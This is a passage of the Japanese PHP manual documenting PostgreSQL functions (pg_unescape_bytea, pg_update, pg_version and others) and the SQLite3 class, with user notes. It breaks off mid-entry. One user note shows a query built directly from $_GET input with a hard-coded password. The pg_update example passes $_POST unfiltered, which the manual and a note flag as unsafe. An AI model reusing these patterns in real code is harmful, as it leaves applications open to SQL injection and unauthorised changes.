connection のデバッグ TTY を文字列で返します。 エラー時には false を返します。

例

例1 pg_tty() の例

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
   print "Server debug TTY is: " . pg_tty($pgsql_conn) . "<br/>\n";
} else {
   print pg_last_error($pgsql_conn);
   exit;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


bytea 型のバイナリをアンエスケープする

  • ≪ pg_tty
  • pg_untrace ≫
  • PHP Manual
  • PostgreSQL 関数
  • bytea 型のバイナリをアンエスケープする

pg_unescape_bytea

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_unescape_bytea — bytea 型のバイナリをアンエスケープする

説明

pg_unescape_bytea ( string $data ) : string

pg_unescape_bytea() は、bytea 型のデータ文字列を アンエスケープし、エスケープしていない文字列、 場合によってはバイナリデータを返します。

注意:

bytea 型を SELECT した場合、PostgreSQL は '\' で 始まる 8 進数のバイト値（例: \032）を返します。これをユーザーが手動で コンバートすることを期待されています。

この関数は PostgreSQL 7.2 以降のバージョンを必要とします。PostgreSQL 7.2.0 および 7.2.1 では、マルチバイトのサポートを有効にした場合は bytea の値をキャストする必要があります。例: INSERT INTO test_table (image) VALUES ('$image_escaped'::bytea); PostgreSQL 7.2.2 以降ではキャストする必要はありません。 クライアントとバックエンドの文字エンコーディングが一致しない場合は 例外で、この場合はマルチバイトストリームエラーが発生します。この エラーを避けるためには bytea 型へのキャストが必要になります。

パラメータ

data

PHP のバイナリ文字列に変換される PostgreSQL の bytea データを含む 文字列。

返り値

アンエスケープされたデータを文字列で返します。

例

例1 pg_unescape_bytea() の例

<?php
  // データベースに接続する
  $dbconn = pg_connect('dbname=foo');

  // bytea データを取得する
  $res = pg_query("SELECT data FROM gallery WHERE name='Pine trees'");
  $raw = pg_fetch_result($res, 'data');

  // バイナリに変換し、ブラウザに送信する
  header('Content-type: image/jpeg');
  echo pg_unescape_bytea($raw);
?>

変更履歴

バージョン | 説明
5.5.1 | 不正な文字列が渡された場合に、警告を発するようになりました。

参考

  • pg_escape_bytea() - bytea フィールドに挿入するために文字列をエスケープする
  • pg_escape_string() - クエリに使う文字列をエスケープする

User Contributed Notes

muralito at montevideo dot com dot uy 17-Mar-2011 05:10
The workaround is to configure a property in the postgres database for the user, to make postgres behave as the old default.

ALTER USER username SET bytea_output = 'escape';

(or using the pgadmin interface)
liviu dot mirea at gmail dot com 15-Oct-2010 10:06
PostgreSQL 9.0 introduced "hex" as the new default format for encoding binary data. Because "pg_unescape_bytea" only works with the old "escape" format, you need to do pg_query('SET bytea_output = "escape";'); before executing your select queries.

More details can be found here: http://www.postgresql.org/docs/9.0/static/datatype-binary.html

[Ed: Recent PostgreSQL versions support unescaping the "hex" format.]
tiagopastorello at gmail dot com 30-Jun-2008 12:31
<?php
$conexao = pg_connect("host=localhost dbname=name user=postgres password=123456") or die('Sorry =( : ' . pg_last_error());

$cod= $_GET['cod'];

$sql = "SELECT * FROM table WHERE cod_field = '$cod'";
$quer = pg_query($conexao, $sql);

$reg = pg_fetch_object($query);

print pg_unescape_bytea($reg -> field_bytea);

?>


PostgreSQL 接続のトレースを無効にする

  • ≪ pg_unescape_bytea
  • pg_update ≫
  • PHP Manual
  • PostgreSQL 関数
  • PostgreSQL 接続のトレースを無効にする

pg_untrace

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

pg_untrace — PostgreSQL 接続のトレースを無効にする

説明

pg_untrace ( resource $connection = ? ) : bool

pg_trace() で開始したトレースを停止します。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

返り値

Always returns true.

例

例1 pg_untrace() の例

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
   pg_trace('/tmp/trace.log', 'w', $pgsql_conn);
   pg_query("SELECT 1");
   pg_untrace($pgsql_conn);
   // バックエンド通信のトレースを無効にする
} else {
   print pg_last_error($pgsql_conn);
   exit;
}
?>

参考

  • pg_trace() - PostgreSQL 接続のトレースを有効にする

User Contributed Notes

There are no user contributed notes for this page.


テーブルを更新する

  • ≪ pg_untrace
  • pg_version ≫
  • PHP Manual
  • PostgreSQL 関数
  • テーブルを更新する

pg_update

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_update — テーブルを更新する

説明

pg_update ( resource $connection , string $table_name , array $data , array $condition , int $options = PGSQL_DML_EXEC ) : mixed

pg_update() は、data に関して condition にマッチするレコードを更新します。 options が指定された場合、指定したオプションとともに pg_convert() が data に適用されます。

pg_update() は、 field=>value 形式の assoc_array で指定されたレコードを更新します。

options が指定されると、 指定されたフラグを pg_convert() が assoc_array に適用します。

デフォルトでは、 pg_update() は生の値を渡します。 値はエスケープするか、PGSQL_DML_ESCAPE オプションを指定しなければいけません。 PGSQL_DML_ESCAPE はパラメータや識別子をクォートし、エスケープします。 よって、テーブル/カラム名は大文字小文字を区別します。

エスケープやプリペアドクエリであっても、 LIKE, JSON, Array, Regex などのクエリを守れない可能性があることに注意してください。 これらのパラメータはコンテクストに応じて処理されるべきです。 たとえば、値をエスケープ/検証する処理を行うことなどです。

パラメータ

connection

PostgreSQL データベースの接続リソース。

table_name

行を更新するテーブルの名前。

data

テーブル table_name のフィールド名をキーに、 そしてマッチした対象を更新するデータを値にもつ配列。

condition

テーブル table_name のフィールド名をキーに、 そして取得対象となる行にマッチするデータを値にもつ配列。

options

PGSQL_CONV_FORCE_NULL、 PGSQL_DML_NO_CONV、 PGSQL_DML_ESCAPE、 PGSQL_DML_EXEC、 PGSQL_DML_ASYNC あるいは PGSQL_DML_STRING の組み合わせ。 options の一部に PGSQL_DML_STRING が含まれていた場合、 クエリ文字列が返されます。 PGSQL_DML_NO_CONV あるいは PGSQL_DML_ESCAPE が設定されている場合は、内部的に pg_convert() を呼びません。

返り値

成功した場合に true を、失敗した場合に false を返します。 options に PGSQL_DML_STRING が渡された場合は文字列を返します。

例

例1 pg_update() の例

<?php
  $db = pg_connect('dbname=foo');
  $data = array('field1'=>'AA', 'field2'=>'BB');

  // これは少しだけ安全です。なぜなら、全ての値がエスケープされるからです。
  // しかし、PostgreSQL は JSON/Array をサポートしています。これらの型に
  // ついてはエスケープされたクエリや、プリペアドクエリでも安全ではありません。
  $res = pg_update($db, 'post_log', $_POST, $data);
  if ($res) {
      echo "データが更新されました: $res\n";
  } else {
      echo "ユーザーが誤った入力を送信しました。\n";
  }
?>

変更履歴

バージョン | 説明
5.6.0 | 実験的な関数ではなくなりました。定数 PGSQL_DML_ESCAPE が追加されました。 true/false や null をサポートするようになりました。
5.5.3/5.4.19 | table_name に対する SQL インジェクション、そして識別子に対する間接的な SQL インジェクションの問題を修正しました。

参考

  • pg_convert() - 連想配列の値を、SQL 文として実行可能な形式に変換する

User Contributed Notes

dominik dot bonsch at homesono dot de 25-Jan-2008 01:24
Using pg_update() and pg_insert() without key validation is not secure!

You need to check which data pairs you get, and if you want to allow to updated this column.

Example:

You have a table with tree colums: username, password, userlevel.

Your users may change only their username, and their password but not their userlevel.

If you don't filter the keys in the request array, every user can now change his userlevel just by sending a POST Request with "userlevel=>100".

So if you don't check if the key are allowed in your request array you'll get serious sql injection vulnarabilities in your code.
jhooks 13-Apr-2006 07:54
> Return Values
>
> Returns TRUE on success or FALSE on failure. Returns string if
> PGSQL_DML_STRING is passed via options.

I have found in my copy of PHP (version 4.4.0) that if you use the 'PGSQL_DML_STRING' option, the function does not execute any query.  It merely returns the query which would have been executed.

Another thing I noticed, pg_update does not seem to make use of pg_trace (atleast in 4.4.0).

PS this isn't a bug report, just an explanation of some undocumented features I noticed.  As the manual says, the function is still in development so this behaviour may differ from version to version.
sdibb at myway dot com 14-Jun-2005 07:26
This function is similar to PEAR::DB's autoExecute() function, with the only difference being that the where clause is an array instead of a string.

Also, if you want to use your instance of the DB class with this function, you can reference the existing resource connection with $db->connection.

An example would be:
<?
     pg_update($db->connection, $arr_update, $arr_where);
?>


クライアント・プロトコル・サーバーのバージョンを配列で返す

  • ≪ pg_update
  • SQLite3 ≫
  • PHP Manual
  • PostgreSQL 関数
  • クライアント・プロトコル・サーバーのバージョンを配列で返す

pg_version

(PHP 5, PHP 7, PHP 8)

pg_version — クライアント・プロトコル・サーバーのバージョンを配列で返す

説明

pg_version ( resource $connection = ? ) : array

pg_version() はクライアント・プロトコル およびサーバーのバージョンを配列で返します。プロトコルおよびサーバーの バージョンは、PHP が PostgreSQL 7.4 以降とともにコンパイルされている 場合のみ有効です。

詳細なサーバー情報を取得するには pg_parameter_status() を参照ください。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

返り値

client, protocol および server のキーとその値を持つ配列を 返します（有効な場合）。エラー時や接続が正常でない場合に false を返します。

例

例1 pg_version() の例

<?php
  $dbconn = pg_connect("host=localhost port=5432 dbname=mary")
     or die("Could not connect");

  $v = pg_version($dbconn);

  echo $v['client'];
?>

上の例の出力は以下となります。

7.4

参考

  • pg_parameter_status() - サーバーのパラメータ設定を検索する

User Contributed Notes

mgchristensen 03-May-2020 03:19
I note that the array element for "protocol" seemingly has no value, being reported as:

 ["protocol"]=> int(3)

whereas the array element for e.g. "server" is reported as (in my particular case):

["server"]=> string(5) "10.12"

A call to json_encode() however gives:

"protocol":3 and "server":"10.12"
live627 07-Feb-2020 12:36
Complete output off this function for me is:

array(13) {
  ["client"]=>
  string(5) "9.6.9"
  ["protocol"]=>
  int(3)
  ["server"]=>
  string(4) "12.1"
  ["server_encoding"]=>
  string(4) "UTF8"
  ["client_encoding"]=>
  string(4) "UTF8"
  ["is_superuser"]=>
  string(2) "on"
  ["session_authorization"]=>
  string(8) "postgres"
  ["DateStyle"]=>
  string(8) "ISO, MDY"
  ["IntervalStyle"]=>
  string(8) "postgres"
  ["TimeZone"]=>
  string(10) "US/Arizona"
  ["integer_datetimes"]=>
  string(2) "on"
  ["standard_conforming_strings"]=>
  string(2) "on"
  ["application_name"]=>
  string(0) ""
}


SQLite3

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • SQLite3 — SQLite3 クラス
    • SQLite3::backup — あるデータベースを、別のデータベースにバックアップする
    • SQLite3::busyTimeout — 接続がビジー状態のときのハンドラを設定する
    • SQLite3::changes — 直近の SQL 文で変更 (あるいは挿入、削除) された行の数を返す
    • SQLite3::close — データベースとの接続を閉じる
    • SQLite3::__construct — SQLite3 オブジェクトを作成し、SQLite 3 データベースをオープンする
    • SQLite3::createAggregate — SQL の集約関数として使用する PHP 関数を登録する
    • SQLite3::createCollation — SQLのcollate関数として使うPHP関数を登録する
    • SQLite3::createFunction — SQL のスカラー関数として使用する PHP 関数を登録する
    • SQLite3::enableExceptions — 例外のスローを有効にする
    • SQLite3::escapeString — 適切にエスケープされた文字列を返す
    • SQLite3::exec — 指定したデータベースに、結果を返さないクエリを実行する
    • SQLite3::lastErrorCode — 直近で失敗した SQLite リクエストの結果コードを数値で返す
    • SQLite3::lastErrorMsg — 直近で失敗した SQLite リクエストについての英文テキストの説明を返す
    • SQLite3::lastInsertRowID — 直近の INSERT 文でデータベースに追加された行の ID を返す
    • SQLite3::loadExtension — SQLite 拡張ライブラリを読み込む
    • SQLite3::open — SQLite データベースをオープンする
    • SQLite3::openBlob — BLOG を読み取るためのストリームリソースを開く
    • SQLite3::prepare — 実行する SQL 文を準備する
    • SQLite3::query — SQL クエリを実行する
    • SQLite3::querySingle — クエリを実行し、単一の結果を返す
    • SQLite3::setAuthorizer — SQL文が出来ることを限定するため、authorizer として使われるコールバックを設定する
    • SQLite3::version — SQLite3 ライブラリのバージョンを、文字列定数と数値で返す
  • SQLite3Stmt — SQLite3Stmt クラス
    • SQLite3Stmt::bindParam — パラメータを変数にバインドする
    • SQLite3Stmt::bindValue — パラメータの値を変数にバインドする
    • SQLite3Stmt::clear — 現在バインドされているすべてのパラメータをクリアする
    • SQLite3Stmt::close — プリペアドステートメントを閉じる
    • SQLite3Stmt::execute — プリペアドステートメントを実行し、結果セットオブジェクトを返す
    • SQLite3Stmt::getSQL — ステートメントのSQLを取得する
    • SQLite3Stmt::paramCount — プリペアドステートメント内のパラメータの数を返す
    • SQLite3Stmt::readOnly — ステートメントが読み取り専用かどうかを返す
    • SQLite3Stmt::reset — プリペアドステートメントをリセットする
  • SQLite3Result — SQLite3Result クラス
    • SQLite3Result::columnName — n 番目のカラムの名前を返す
    • SQLite3Result::columnType — n 番目のカラムの型を返す
    • SQLite3Result::fetchArray — 結果の行を、連想配列あるいは数値添字配列あるいはその両方で取得する
    • SQLite3Result::finalize — 結果セットを閉じる
    • SQLite3Result::numColumns — 結果セットのカラム数を返す
    • SQLite3Result::reset — 結果セットを最初の行に戻す

User Contributed Notes

donotspam at alecos dot it 06-Dec-2019 04:23
To enable CURL and SQLITE3 on Windows with PHP 7.4 edit httpd.conf and php.ini as below:

httpd.conf:

# load php.ini from chosen directory
PHPIniDir "${SRVROOT}/php"
# load PHP 7.4 on Windows
LoadModule php7_module "${SRVROOT}/php/php7apache2_4.dll"
# load CURL on Windows
LoadFile "${SRVROOT}/php/libssh2.dll"
# load SQLITE3 on Windows
LoadFile "${SRVROOT}/php/libsqlite3.dll"

php.ini:

extension=curl
extension=pdo_sqlite
extension=sqlite3

Now CURL and SQLITE3 are enabled and working fine on Windows on PHP 7.4.
Anonymous 01-Feb-2018 12:24
PHP doesn't seem to support password protection for SQLite3. We can specify password on the db(I think) but you will still be able to open the DB without using a password so it is not working.
Anonymous 06-Dec-2011 12:56
As of PHP 5.4 support for Sqlite2 has been removed. I have a large web app that was built with sqlite2 as the database backend and thus it exploded when I updated PHP. If you're in a similar situation I've written a few wrapper functions that will allow your app to work whilst you convert the code to sqlite3.

Firstly convert your DB to an sqlite3 db.

sqlite OLD.DB .dump | sqlite3 NEW.DB

Then add the following functions to your app:

<?php
function sqlite_open($location,$mode)
{
    $handle = new SQLite3($location);
    return $handle;
}
function sqlite_query($dbhandle,$query)
{
    $array['dbhandle'] = $dbhandle;
    $array['query'] = $query;
    $result = $dbhandle->query($query);
    return $result;
}
function sqlite_fetch_array(&$result,$type)
{
    #Get Columns
    $i = 0;
    while ($result->columnName($i))
    {
        $columns[ ] = $result->columnName($i);
        $i++;
    }

    $resx = $result->fetchArray(SQLITE3_ASSOC);
    return $resx;
}
?>

They're not perfect by any stretch but they seem to be working ok as a temporary measure while I convert the site.
Hope that helps someone
alan at chandlerfamily dot org dot uk 09-Aug-2010 01:36
PHP 5.3.3 introduced sqlite3::busyTimeout(int milliseconds) which does not currently seem to be documented.

It believe it acts like sqlite::busyTimeout - that is it tells sqlite3 to call an internal busyHandler if SQLITE_BUSY is returned from any call which waits a short period and then retries.  It continues to do this until milliseconds milliseconds have elapsed and then returns the SQLITE_BUSY status.

I don't know whether the default 60 second value is in place if this function is not called.


はじめに

SQLite バージョン 3 のデータベースをサポートします。

User Contributed Notes

There are no user contributed notes for this page.


要件

PHP 7.4.0 以降では、 » libsqlite ? 3.7.4 が必須です。 それより前のバージョンでは、バンドルされた libsqlite が代わりに使われていました。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

SQLite3 拡張モジュールは、PHP 5.3.0 以降デフォルトで有効となります。 無効にするには、コンパイル時に --without-sqlite3 を指定します。

Windows ユーザーは、この拡張モジュールを使用するには php_sqlite3.dll を有効にしなければなりません。 この DLL は、PHP 5.3.0 以降の Windows 版 PHP に含まれています。

注意: PHP 7.4.0 以降の、Windows における追加セットアップ

この拡張モジュールを動作させるには、 Windows システムの PATH が通った場所に DLL ファイルが存在する必要があります。 FAQ の "Windows で PHP のディレクトリを PATH に追加するにはどうすればいいのですか?" で、その方法を説明しています。 DLL ファイルを PHP のフォルダから Windows のシステムディレクトリにコピーしても動作します (システムディレクトリは、デフォルトで PATH に含まれるからです) が、これは推奨しません。 この拡張モジュールを使用するには、以下のファイルが PATH の通った場所にある必要があります。 libsqlite3.dll.

注意:

この拡張モジュールは一時 PECL 拡張モジュールとして存在していましたが、 そちらについては実験的な用途でのみ使用することが推奨されています。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

SQLite3 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
sqlite3.extension_dir | "" | PHP_INI_SYSTEM | PHP 5.3.11 以降で利用可能。
sqlite3.defensive | 1 | PHP_INI_SYSTEM | PHP 7.2.17 ,7.3.4 以降、かつ libsqlite ? 3.26.0 でビルドした場合に利用可能

以下に設定ディレクティブに関する 簡単な説明を示します。

sqlite3.extension_dir string

SQLite 用のロードモジュールが存在するディレクトリへのパス。

sqlite3.defensive bool

defensive フラグを有効にした場合、データベースファイルを意図的に破壊することができる通常のSQLの機能が無効になります。これにより、スキーマ や シャドウテーブル (e.g FTS データテーブル) や sqlite_dbpage 仮想テーブルに直接に直接書き込むことを禁止します。 この php.ini 設定は、libsqlite ? 3.26.0 以降でビルドした場合だけ有効です。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

SQLITE3_ASSOC (int)
SQLite3_result::fetchArray() が返す結果セットが、 カラム名をインデックスとする配列であることを指定します。
SQLITE3_NUM (int)
SQLite3_result::fetchArray() が返す結果セットが、 カラム番号をインデックスとする配列であることを指定します。 カラム番号は 0 からはじまります。
SQLITE3_BOTH (int)
SQLite3_result::fetchArray() が返す結果セットが、 カラム名とカラム番号の両方をインデックスとする配列であることを指定します。 カラム番号は 0 からはじまります。
SQLITE3_INTEGER (int)
SQLite3 INTEGER 型を表します。
SQLITE3_FLOAT (int)
SQLite3 REAL (FLOAT) 型を表します。
SQLITE3_TEXT (int)
SQLite3 TEXT 型を表します。
SQLITE3_BLOB (int)
SQLite3 BLOB 型を表します。
SQLITE3_NULL (int)
SQLite3 NULL 型を表します。
SQLITE3_OPEN_READONLY (int)
SQLite3 データベースを読み込み専用でオープンすることを指定します。
SQLITE3_OPEN_READWRITE (int)
SQLite3 データベースを読み書き両用でオープンすることを指定します。
SQLITE3_OPEN_CREATE (int)
データベースが存在しない場合に SQLite3 データベースを新規作成することを指定します。
SQLITE3_DETERMINISTIC (int)
SQLite3::createFunction() で作成する関数が決定論的であることを指定します。 つまり、単一のSQL文の範囲では、同じ入力に対して常に同じ結果が返されるということです。 (PHP 7.1.4 以降で使用可能)

User Contributed Notes

There are no user contributed notes for this page.


SQLite3 クラス

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

はじめに

SQLite 3 データベースとのインターフェイスとなるクラスです。

クラス概要

SQLite3 {
/* メソッド */
public __construct ( string $filename , int $flags = SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE , string $encryptionKey = "" )
public backup ( SQLite3 $destination , string $sourceDatabase = "main" , string $destinationDatabase = "main" ) : bool
public busyTimeout ( int $milliseconds ) : bool
public changes ( ) : int
public close ( ) : bool
public createAggregate ( string $name , callable $stepCallback , callable $finalCallback , int $argCount = -1 ) : bool
public createCollation ( string $name , callable $callback ) : bool
public createFunction ( string $name , callable $callback , int $argCount = -1 , int $flags = 0 ) : bool
public enableExceptions ( bool $enable = false ) : bool
public static escapeString ( string $string ) : string
public exec ( string $query ) : bool
public lastErrorCode ( ) : int
public lastErrorMsg ( ) : string
public lastInsertRowID ( ) : int
public loadExtension ( string $name ) : bool
public open ( string $filename , int $flags = SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE , string $encryptionKey = "" ) : void
public openBlob ( string $table , string $column , int $rowid , string $database = "main" , int $flags = SQLITE3_OPEN_READONLY ) : resource|false
public prepare ( string $query ) : SQLite3Stmt|false
public query ( string $query ) : SQLite3Result|false
public querySingle ( string $query , bool $entireRow = false ) : mixed
public setAuthorizer ( callable|null $callback ) : bool
public static version ( ) : array
}

目次

  • SQLite3::backup — あるデータベースを、別のデータベースにバックアップする
  • SQLite3::busyTimeout — 接続がビジー状態のときのハンドラを設定する
  • SQLite3::changes — 直近の SQL 文で変更 (あるいは挿入、削除) された行の数を返す
  • SQLite3::close — データベースとの接続を閉じる
  • SQLite3::__construct — SQLite3 オブジェクトを作成し、SQLite 3 データベースをオープンする
  • SQLite3::createAggregate — SQL の集約関数として使用する PHP 関数を登録する
  • SQLite3::createCollation — SQLのcollate関数として使うPHP関数を登録する
  • SQLite3::createFunction — SQL のスカラー関数として使用する PHP 関数を登録する
  • SQLite3::enableExceptions — 例外のスローを有効にする
  • SQLite3::escapeString — 適切にエスケープされた文字列を返す
  • SQLite3::exec — 指定したデータベースに、結果を返さないクエリを実行する
  • SQLite3::lastErrorCode — 直近で失敗した SQLite リクエストの結果コードを数値で返す
  • SQLite3::lastErrorMsg — 直近で失敗した SQLite リクエストについての英文テキストの説明を返す
  • SQLite3::lastInsertRowID — 直近の INSERT 文でデータベースに追加された行の ID を返す
  • SQLite3::loadExtension — SQLite 拡張ライブラリを読み込む
  • SQLite3::open — SQLite データベースをオープンする
  • SQLite3::openBlob — BLOG を読み取るためのストリームリソースを開く
  • SQLite3::prepare — 実行する SQL 文を準備する
  • SQLite3::query — SQL クエリを実行する
  • SQLite3::querySingle — クエリを実行し、単一の結果を返す
  • SQLite3::setAuthorizer — SQL文が出来ることを限定するため、authorizer として使われるコールバックを設定する
  • SQLite3::version — SQLite3 ライブラリのバージョンを、文字列定数と数値で返す

User Contributed Notes

There are no user contributed notes for this page.


あるデータベースを、別のデータベースにバックアップする

  • ≪ SQLite3
  • SQLite3::busyTimeout ≫
  • PHP Manual
  • SQLite3
  • あるデータベースを、別のデータベースにバックアップする

SQLite3::backup

(PHP 7 >= 7.4.0, PHP 8)

SQLite3::backup — あるデータベースを、別のデータベースにバックアップする

説明

public SQLite3::backup ( SQLite3 $destination , string $sourceDatabase = "main" , string $destinationDatabase = "main" ) : bool

SQLite3::backup() は、あるデータベースの内容を別のデータベースにコピーし、 コピー先のデータベースの内容を上書きします。 このメソッドは、データベースのバックアップを作成したり、 インメモリのデータベースを永続的なファイルにコピーしたり、その逆を行う場合に便利です。

パラメータ

destination

SQLite3::open() でオープンされたデータベース接続

sourceDatabase

メインデータベースの場合、データベース名は "main" です。 一時的なデータベースの場合は、"temp" になります。 また、ATTACH 文の AS キーワードの後に指定された名前が使えます。

destinationDatabase

sourceDatabase に似ていますが、 destination で接続したコピー先のデータベースを表します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 既存のデータベースをバックアップする

<?php
// $conn は、既にオープンされた sqlite3 データベースへの接続です。

$backup = new SQLite3('backup.sqlite');
$conn->backup($backup);
?>

User Contributed Notes

There are no user contributed notes for this page.


接続がビジー状態のときのハンドラを設定する

  • ≪ SQLite3::backup
  • SQLite3::changes ≫
  • PHP Manual
  • SQLite3
  • 接続がビジー状態のときのハンドラを設定する

SQLite3::busyTimeout

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

SQLite3::busyTimeout — 接続がビジー状態のときのハンドラを設定する

説明

public SQLite3::busyTimeout ( int $milliseconds ) : bool

ビジーハンドラを設定します。 これは、データベースのロックが解除されるかあるいはタイムアウトに達するまでスリープさせます。

パラメータ

milliseconds

スリープさせる時間 (ミリ秒)。この値をゼロ以下にすると、 すでに設定されているタイムアウトハンドラを無効にします。

返り値

成功した場合に true、失敗した場合に false を返します

User Contributed Notes

dkarnout at gmail dot com 14-Aug-2015 06:40
For SQLite2 (http://php.net/manual/en/function.sqlite-busy-timeout.php), PHP sets the default busy timeout to be 60 seconds when the database is opened.
However, this does not happen for v3 and it has to be done manually.

My personal experience is that the default value of SQLite3, which is 0, is not enough when you have to do consecutive read/write commits and the file has not been accessed for long time.
ppryor63 at gmail dot com 13-Feb-2014 01:30
The busyTimeout() method and related API sqlite3_busy_timeout() is a connection level attribute and affects whole connection and should be set once after opening connection.  Do not set to zero or you will encounter "Database is busy" error message when calling query, querySingle, prepare, or execute methods.  Also ensure that sqlite3 library is compiled with HAVE_USLEEP defined, otherwise busyTimeout() can only time out in seconds.  It is very highly recommended to call busyTimeout() with non-zero timeout for reliability in concurrent environment.


直近の SQL 文で変更 (あるいは挿入、削除) された行の数を返す

  • ≪ SQLite3::busyTimeout
  • SQLite3::close ≫
  • PHP Manual
  • SQLite3
  • 直近の SQL 文で変更 (あるいは挿入、削除) された行の数を返す

SQLite3::changes

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::changes — 直近の SQL 文で変更 (あるいは挿入、削除) された行の数を返す

説明

public SQLite3::changes ( ) : int

直近の SQL 文で変更 (あるいは挿入、削除) された行の数を返します。

パラメータ

この関数にはパラメータはありません。

返り値

直近の SQL 文で変更 (あるいは挿入、削除) された行の数を表す int 値を返します。

例

例1 SQLite3::changes() の例

<?php
$db = new SQLite3('mysqlitedb.db');

$query = $db->exec('UPDATE counter SET views=0 WHERE page="test"');
if ($query) {
    echo '変更された行の数: ', $db->changes();
}
?>

User Contributed Notes

teclado at tandex dot com 02-Oct-2015 04:10
There is an issue that may be meant or not, but in my case is annoying. If you have have a schema like the following:

[code]
pragma foreign_key = on;
create table parent (
  id integer,
  a varchar,
  primary key (id asc)
);
create table child (
  id integer,
  b varchar,
  a integer,
  primary key (id asc),
  foreign key (a) references a (id) on delete cascade on update cascade
);
[/code]

When you try to delete a parent row (delete from parent where parent.id=?) it deletes all the childs referenced to this parent, but the method SQLite3::changes() is still returning 1, as if it only have deleted the parent.
krebs dot seb at googlemail dot com 10-Nov-2011 01:25
It seems, that this method doesn't report the affected rows properly, when using with savepoints or a transaction.


データベースとの接続を閉じる

  • ≪ SQLite3::changes
  • SQLite3::__construct ≫
  • PHP Manual
  • SQLite3
  • データベースとの接続を閉じる

SQLite3::close

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::close — データベースとの接続を閉じる

説明

public SQLite3::close ( ) : bool

データベースとの接続を閉じます。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 SQLite3::close() の例

<?php
$db = new SQLite3('mysqlitedb.db');
$db->close();
?>

User Contributed Notes

There are no user contributed notes for this page.


SQLite3 オブジェクトを作成し、SQLite 3 データベースをオープンする

  • ≪ SQLite3::close
  • SQLite3::createAggregate ≫
  • PHP Manual
  • SQLite3
  • SQLite3 オブジェクトを作成し、SQLite 3 データベースをオープンする

SQLite3::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::__construct — SQLite3 オブジェクトを作成し、SQLite 3 データベースをオープンする

説明

public SQLite3::__construct ( string $filename , int $flags = SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE , string $encryptionKey = "" )

SQLite3 オブジェクトを作成し、SQLite 3 データベースをオープンします。 暗号化込みでビルドされている場合は、キーの使用を試みます。

パラメータ

filename

SQLite データベースへのパス。インメモリデータベースを使う場合は :memory: を指定します。 filename に空文字列を指定すると、 プライベート、かつ一時的なデータベースがディスク上に作成されます。 このプライベートなデータベースは、データベース接続が閉じられるとすぐに自動的に削除されます。

flags

SQLite データベースのオープン方法を指定するフラグ。 デフォルトでは SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE を使用してオープンします。

  • SQLITE3_OPEN_READONLY: データベースを読み込み専用でオープンする

  • SQLITE3_OPEN_READWRITE: データベースを読み書き共用でオープンする

  • SQLITE3_OPEN_CREATE: データベースが存在しない場合は作成する

encryptionKey

オプションの暗号キー。SQLite データベースの暗号化と復号に使用します。 暗号化モジュールがインストールされていない場合は、このパラメータは何の影響も及ぼしません。

返り値

成功した場合に SQLite3 オブジェクトを返します。

エラー / 例外

失敗した場合に Exception をスローします。

変更履歴

バージョン | 説明
7.0.10 | filename は、空文字列を指定できるようになりました。 この場合、プライベート、かつ一時的なデータベースがディスク上に作成されます。

例

例1 SQLite3::__construct() の例

<?php
$db = new SQLite3('mysqlitedb.db');

$db->exec('CREATE TABLE foo (bar TEXT)');
$db->exec("INSERT INTO foo (bar) VALUES ('This is a test')");

$result = $db->query('SELECT bar FROM foo');
var_dump($result->fetchArray());
?>

User Contributed Notes

jtreurniet at example dot com 08-Jul-2017 08:26
Note that the SQLITE3_OPEN_READONLY flag cannot be combined with the SQLITE3_OPEN_CREATE flag. If you combine both of these flags, a rather unhelpful "Unable to open database: out of memory" exception will be thrown.
bohwaz 16-May-2011 10:59
$encryption_key and all encryption features will be enabled only if the SQLite encryption module is installed. It's a proprietary, costly module. So if it's not present, supplying an encryption key will have absolutely no effect.


SQL の集約関数として使用する PHP 関数を登録する

  • ≪ SQLite3::__construct
  • SQLite3::createCollation ≫
  • PHP Manual
  • SQLite3
  • SQL の集約関数として使用する PHP 関数を登録する

SQLite3::createAggregate

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3::createAggregate — SQL の集約関数として使用する PHP 関数を登録する

説明

public SQLite3::createAggregate ( string $name , callable $stepCallback , callable $finalCallback , int $argCount = -1 ) : bool

SQL の集約関数として使用する PHP 関数を登録します。 これは SQL 文の中で使用されるものです。

パラメータ

name

作成あるいは再定義したい SQL 集約関数の名前。

stepCallback

結果セットの各行ごとにコールされるコールバック関数。 この関数で結果を集約し、集約処理のコンテキストに保存すべきです。

このコールバック関数は、以下のように定義すべきです:

step ( mixed $context , int $rownumber , mixed $value , mixed ...$values ) : mixed
context

最初の行では null です。 2行目以降は、step 関数から返された値をとります。 これは、集約の状況を管理するのに使います。

rownumber

現在の行番号

value

集約に渡されるはじめの引数

values

集約に渡されるふたつめ以降の引数

